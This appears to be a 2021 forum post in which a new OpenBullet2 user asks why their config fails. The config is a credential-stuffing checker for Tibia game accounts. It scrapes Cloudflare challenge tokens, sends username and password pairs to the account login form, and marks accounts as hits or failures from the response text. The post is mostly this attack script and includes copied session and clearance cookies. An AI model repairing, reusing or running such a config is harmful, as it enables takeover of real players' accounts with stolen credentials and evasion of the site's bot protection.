OP 21 June, 2021 - 08:04 PM
i really dont know what im doing wrong this is my config but it wont work.. pd: im new user of openbullet2
Code:
BLOCK:HttpRequest
LABEL:https://www.tibia.com/account/?subtopic=accountmanagement
url = "https://www.tibia.com/account/?subtopic=accountmanagement"
customHeaders = {("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"), ("Pragma", "no-cache"), ("Accept", "*/*")}
TYPE:STANDARD
$""
"application/x-www-form-urlencoded"
ENDBLOCK
BLOCK:Parse
input = @data.SOURCE
MODE:LR
=> VAR @COOKIES__cfduid
ENDBLOCK
BLOCK:Parse
input = @data.COOKIES
leftDelim = "__cf_chl_jschl_tk__="
rightDelim = "\" method=\""
MODE:LR
=> VAR @ADRESS__cf_chl_jschl_tk__
ENDBLOCK
BLOCK:HttpRequest
url = "https://www.tibia.com/account/?subtopic=accountmanagement"
method = POST
customHeaders = {("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"), ("accept-encoding", "gzip, deflate, br"), ("accept-language", "en,de-DE;q=0.9,de;q=0.8,en-US;q=0.7"), ("cache-control", "max-age=0"), ("content-length", "101"), ("content-type", "application/x-www-form-urlencoded"), ("cookie", "__cfduid=<cfduid>; DM_Referer=https%3A%2F%2Fwww.google.com%2F; DM_LandingPage=visited; DM_SessionID=d0f0a1a54e2546c30c750dee4542a6d11604881903; cf_clearance=216fdfadd257834e6a7fcf80089e7b05eeeac98f-1604881920-0-1z5e729471zd599e722zba675d60-150"), ("origin", "https://www.tibia.com"), ("referer", "https://www.tibia.com/account/?subtopic=accountmanagement"), ("sec-fetch-dest", "document"), ("sec-fetch-mode", "navigate"), ("sec-fetch-site", "same-origin"), ("sec-fetch-user", "?1"), ("upgrade-insecure-requests", "1"), ("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36")}
TYPE:STANDARD
$"loginemail=<input.USERNAME>&loginpassword=<input.PASSWORD>&page=overview&Login.x=53&Login.y=14"
"application/x-www-form-urlencoded"
ENDBLOCK
BLOCK:Keycheck
KEYCHAIN FAIL OR
STRINGKEY @data.SOURCE Contains "You have entered a wrong password or email address."
KEYCHAIN SUCCESS OR
STRINGKEY @data.SOURCE Contains "Welcome to your account"
ENDBLOCK
